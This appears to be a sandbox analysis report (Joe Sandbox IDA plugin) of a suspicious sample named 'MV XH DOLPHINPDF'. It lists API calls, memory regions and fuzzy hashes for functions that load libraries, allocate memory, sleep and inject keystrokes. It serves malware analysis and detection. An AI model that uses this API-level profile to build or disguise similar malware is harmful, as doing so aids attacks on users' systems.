Instruction ID: 545b8ba9cf6eb047f01b2247202967da1ffd99fb28a411505f51afcaf1e54849
Opcode Fuzzy Hash: 8dd68934f71e042e29b74276ddb4e2a0b36a1f1e60a8aacbd8fe6a84bff23a1f
Instruction Fuzzy Hash: 21412474608341CFDB24DF14C484F5ABBE0BF45318F0988ACE89A8B762C776E895CB52

Function 000880D7 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00088109

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 00dcb2856efe23149d694d29c9dc7f6d19fa248d4ae0c05b0d24d8cde55d60db
Instruction ID: 9fe27da594dba338fd717fc390aa3b56afadc7164e42109f5ad183ed7bc4d771
Opcode Fuzzy Hash: 00dcb2856efe23149d694d29c9dc7f6d19fa248d4ae0c05b0d24d8cde55d60db
Instruction Fuzzy Hash: A7115E75204605DFCB24DF28D485956B7E9FF49354B60C82EE98ACB762DB32E841CB50

Function 00084F3D Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00084D13: FreeLibrary.KERNEL32(00000000,?), ref: 00084D4D

Part of subcall function 000A548B: __wfsopen.LIBCMT ref: 000A5496

LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,001462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00084F6F

Part of subcall function 00084CC8: FreeLibrary.KERNEL32(00000000), ref: 00084D02

Part of subcall function 00084DD0: _memmove.LIBCMT ref: 00084E1A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: f0ca062ca302654d92323dd090d70a04026c7d46e13e43e21b7c9f2c0c6db211
Instruction ID: 44ea91e5446ce8e98b8abaeaa8e3f7bfa7a3b806131259fb08f9d1f80667dcf5
Opcode Fuzzy Hash: f0ca062ca302654d92323dd090d70a04026c7d46e13e43e21b7c9f2c0c6db211
Instruction Fuzzy Hash: 9C11E731600316ABCB20FF70CC52FEEB7A9AF44705F10842DF5C5A61C3DA759A159B50

Function 000C01AF Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 000C01BB

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 04cfce87dd7b1c509a3db705781af0ae382b742fc99197a8b61f36a894111598
Instruction ID: f7f378a312691caed228a4a758fd6b699debeafd9d25ef4f8f71b39f21aadcc5
Opcode Fuzzy Hash: 04cfce87dd7b1c509a3db705781af0ae382b742fc99197a8b61f36a894111598
Instruction Fuzzy Hash: 802142B4608341CFDB24EF54C484F5ABBE0BF89304F05896CE89A47B62D771E855CB52

Function 00085D20 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,00085807,00000000,00010000,00000000,00000000,00000000,00000000), ref: 00085D76

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 4680a6c7c61b65a6ff3a7adc1c00f8670804b41a98bc33d5c381f7370b7d6342
Instruction ID: d4da2635c80b559e09701e0e8f2a48318f143432dfe1ab7f01447973876db592
Opcode Fuzzy Hash: 4680a6c7c61b65a6ff3a7adc1c00f8670804b41a98bc33d5c381f7370b7d6342
Instruction Fuzzy Hash: 24113331200B019FD3709F15C888B66B7E9FF45761F10C92EE8EA8AA50E7B1F945CB60

Function 000A4A93 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 000A4AD6

Part of subcall function 000A8D68: __getptd_noexit.LIBCMT ref: 000A8D68

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: c4ef6720c43a055b2f3512b42ecb4660fba735a0904041f927b52c6a4f8fe6f4
Instruction ID: 4a06b4c01027453e60206b592beedac736098db6a293c90355aa833bb5ef5c77
Opcode Fuzzy Hash: c4ef6720c43a055b2f3512b42ecb4660fba735a0904041f927b52c6a4f8fe6f4
Instruction Fuzzy Hash: DFF0C8359502099BDF61AFF4CC063DF76A1AF52325F048514F414AA1D3DBB88960DF55

Function 00084FAA Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,001462F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00084FDE

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: e1557a527bf9cf1bf976ea918e4264f2ad91a33b23440f38b1aeb1b46778f850
Instruction ID: 26e08ac4fc63947f102789a206dea11272439fe75671d3b569c8cfca1e075505
Opcode Fuzzy Hash: e1557a527bf9cf1bf976ea918e4264f2ad91a33b23440f38b1aeb1b46778f850
Instruction Fuzzy Hash: 95F03971505B22CFCB34AF64E894816BBF1BF153293208A3EE2D682A12C771A880DF40

Function 000A09D5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 000A09F4

Part of subcall function 00087D2C: _memmove.LIBCMT ref: 00087D66

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: 5403a309796f10f7327941f7a1a6f57ba36a63707c9ee1e3b181904f90fa5220
Instruction ID: 5693d298de4af847b8e5e746dcc46492e0877e9e101b5696dfa5c81849cb851c
Opcode Fuzzy Hash: 5403a309796f10f7327941f7a1a6f57ba36a63707c9ee1e3b181904f90fa5220
Instruction Fuzzy Hash: AFE0CD3690422857C720E6589C06FFA77EDDF88790F0401B5FD4CD720AD9A0EC828690

Function 000E9129 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 000E914B

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction ID: c0f4767831b2e296fbf41b929cec700d2a1cdec397881f2fd4fe934909205015
Opcode Fuzzy Hash: 7603a7e23398706fbe611478ecf9e3358d47b441acc83f726054c373298f7434
Instruction Fuzzy Hash: 98E092B0104B405FD7748A24D8107E373E0BB06315F00095CF29A93342EB6278418759

Function 00085DAE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,000BE16B,?,?,00000000), ref: 00085DBF

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 661d038e6ef063492c3b79007a39afc3653ddd8a85577cc2499a5dbdbe16686e
Instruction ID: 3f1e078f88c06233986fea75553f4e168a332aa58dc763f595adaae15b6d58f7
Opcode Fuzzy Hash: 661d038e6ef063492c3b79007a39afc3653ddd8a85577cc2499a5dbdbe16686e
Instruction Fuzzy Hash: 67D0C77464020CBFE710DB80DC47FA9777CD705710F100194FD0456690D6F27D508795

Function 000A548B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 000A5496

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 35ddaa3013ebf165555a812c98add7b00f05c5e9de1ef480d52a90c8261b42fe
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 33B0927688020C7BDE012E82EC02A993F19AB456B9F808020FB0C18162A673A6A09689

Function 000ED2E6 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 000ED46A

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: c6c07ff1a710933430d4424a4f86413d5c13f30ca04add66cc12b14cf9b977cb
Instruction ID: b41fcb748d4c61f7dc93dfe38adf8df865dbe941915d2e2bac2e0a51ac823ee3
Opcode Fuzzy Hash: c6c07ff1a710933430d4424a4f86413d5c13f30ca04add66cc12b14cf9b977cb
Instruction Fuzzy Hash: 697160742087428FC714EF25C4D1AAEB7E0FF98714F18496DF8969B2A2DB30E905CB52

Function 000A0E48 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 000A0EF7

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 1d176caaca40b9136dbec510f917bdb268183f354d8ce64d5a19fbd8d1467746
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: E431E570A0010ADFDB68DF98D480969F7A6FF5A300B648AA5E409DB651D731EDC1DBC0

Function 01DD22FC Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01DD2311

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: 545c04bf25f98162bfcda654422a25479cf7e8078941db2f3ba98a955afd7ea3
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 0EE0BF7494010DEFDB00EFB8D5496DE7BB4EF04301F1005A5FD05D7681DB309E548A62

Function 01DD2300 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01DD2311

Memory Dump Source

Source File: 00000000.00000002.1990535950.0000000001DD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01DD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1dd0000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 4a92821838debe4f78c188cb5c492dff34632da9914b9da7ac5085e65439af4a
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: A3E0E67494010DDFDB00EFB8D54969E7FF4EF04301F100565FD01D2281DA309D508A72

Non-executed Functions

Function 0010CDAC Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00082612: GetWindowLongW.USER32(?,000000EB), ref: 00082623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0010CE50
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0010CE91
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 0010CED6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0010CF00
SendMessageW.USER32 ref: 0010CF29
_wcsncpy.LIBCMT ref: 0010CFA1
GetKeyState.USER32(00000011), ref: 0010CFC2
GetKeyState.USER32(00000009), ref: 0010CFCF
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0010CFE5
GetKeyState.USER32(00000010), ref: 0010CFEF
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0010D018
SendMessageW.USER32 ref: 0010D03F
SendMessageW.USER32(?,00001030,?,0010B602), ref: 0010D145
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0010D15B
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0010D16E
SetCapture.USER32(?), ref: 0010D177
ClientToScreen.USER32(?,?), ref: 0010D1DC
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0010D1E9
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0010D203
ReleaseCapture.USER32 ref: 0010D20E
GetCursorPos.USER32(?), ref: 0010D248
ScreenToClient.USER32(?,?), ref: 0010D255
SendMessageW.USER32(?,00001012,00000000,?), ref: 0010D2B1
SendMessageW.USER32 ref: 0010D2DF
SendMessageW.USER32(?,00001111,00000000,?), ref: 0010D31C
SendMessageW.USER32 ref: 0010D34B
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0010D36C
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0010D37B
GetCursorPos.USER32(?), ref: 0010D39B
ScreenToClient.USER32(?,?), ref: 0010D3A8
GetParent.USER32(?), ref: 0010D3C8
SendMessageW.USER32(?,00001012,00000000,?), ref: 0010D431
SendMessageW.USER32 ref: 0010D462
ClientToScreen.USER32(?,?), ref: 0010D4C0
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0010D4F0
SendMessageW.USER32(?,00001111,00000000,?), ref: 0010D51A
SendMessageW.USER32 ref: 0010D53D
ClientToScreen.USER32(?,?), ref: 0010D58F
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0010D5C3

Part of subcall function 000825DB: GetWindowLongW.USER32(?,000000EB), ref: 000825EC

GetWindowLongW.USER32(?,000000F0), ref: 0010D65F

Strings

@GUI_DRAGID, xrefs: 0010D1AA
F, xrefs: 0010D543

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 20bca8b39273223264043d7bf95dd7e6ed98585d9341afe2c1bb12b3340b7dc8
Instruction ID: 8c1d7d81b8a463265922bb45ddc26783b9246069039ffcc4fca111242e2fc9da
Opcode Fuzzy Hash: 20bca8b39273223264043d7bf95dd7e6ed98585d9341afe2c1bb12b3340b7dc8
Instruction Fuzzy Hash: 35429974204341AFD725CF68C888AAABBE5FF49314F14062DF6D5976E1CBB19881CF92

Function 0010804A Relevance: 60.1, APIs: 33, Strings: 1, Instructions: 571windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000400,00000000,00000000), ref: 0010873F

Strings

%d/%02d/%02d, xrefs: 00108478

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: MessageSend
String ID: %d/%02d/%02d
API String ID: 3850602802-328681919
Opcode ID: e19c49c19e8f1b6137a095ea605f6df41181c6fd3dbf0353e1a3c1f1cfa9d801
Instruction ID: d60f25a7247c8eedb35cb39a0a3254242bd7c80f5510e496596bb030588c6f83
Opcode Fuzzy Hash: e19c49c19e8f1b6137a095ea605f6df41181c6fd3dbf0353e1a3c1f1cfa9d801
Instruction Fuzzy Hash: AD12B071504208AFEB259F68CC49FAA7BB4EF45710F214129F9D5EB6E1DFB18982CB10

Function 0009710E Relevance: 50.6, APIs: 19, Strings: 7, Instructions: 5093COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 000975C2
_memset.LIBCMT ref: 000976B1
_memmove.LIBCMT ref: 00097C4B
_memmove.LIBCMT ref: 00097E4F

Strings

[:<:]], xrefs: 000975F1
Oa, xrefs: 000D287E
Q\E, xrefs: 000981C1
[:>:]], xrefs: 0009760A
DEFINE, xrefs: 000D25AF
\b(?<=\w), xrefs: 000D3C41
\b(?=\w), xrefs: 000D3C34

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

API ID: _memmove$_memset
String ID: DEFINE$Oa$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)
API String ID: 1357608183-3601582727
Opcode ID: 833918134c0b8bb6dc72cc63f409d3359b776b2cadf4ddf1927f3405299f9130
Instruction ID: d8bf8787817b4680a8a7f487ab1cf4dd637311ba979d50d039141fc520f20d0d
Opcode Fuzzy Hash: 833918134c0b8bb6dc72cc63f409d3359b776b2cadf4ddf1927f3405299f9130
Instruction Fuzzy Hash: D9938F75A043159BDF24CF98C881BADB7F1FF58310F25816AE949AB381E7709E81DB60

Function 00084A35 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 00084A3D
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 000BDA8E
IsIconic.USER32(?), ref: 000BDA97
ShowWindow.USER32(?,00000009), ref: 000BDAA4
SetForegroundWindow.USER32(?), ref: 000BDAAE
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 000BDAC4
GetCurrentThreadId.KERNEL32 ref: 000BDACB
GetWindowThreadProcessId.USER32(?,00000000), ref: 000BDAD7
AttachThreadInput.USER32(?,00000000,00000001), ref: 000BDAE8
AttachThreadInput.USER32(?,00000000,00000001), ref: 000BDAF0
AttachThreadInput.USER32(00000000,?,00000001), ref: 000BDAF8
SetForegroundWindow.USER32(?), ref: 000BDAFB
MapVirtualKeyW.USER32(00000012,00000000), ref: 000BDB10
keybd_event.USER32(00000012,00000000), ref: 000BDB1B
MapVirtualKeyW.USER32(00000012,00000000), ref: 000BDB25
keybd_event.USER32(00000012,00000000), ref: 000BDB2A
MapVirtualKeyW.USER32(00000012,00000000), ref: 000BDB33
keybd_event.USER32(00000012,00000000), ref: 000BDB38
MapVirtualKeyW.USER32(00000012,00000000), ref: 000BDB42
keybd_event.USER32(00000012,00000000), ref: 000BDB47
SetForegroundWindow.USER32(?), ref: 000BDB4A
AttachThreadInput.USER32(?,?,00000000), ref: 000BDB71

Strings

Shell_TrayWnd, xrefs: 000BDA89

Memory Dump Source

Source File: 00000000.00000002.1985328763.0000000000081000.00000020.00000001.01000000.00000003.sdmp, Offset: 00080000, based on PE: true

Associated: 00000000.00000002.1985141560.0000000000080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.000000000010F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985416387.0000000000135000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985500325.000000000013F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1985531580.0000000000148000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80000_MV XH DOLPHINPDF.jbxd

Similarity

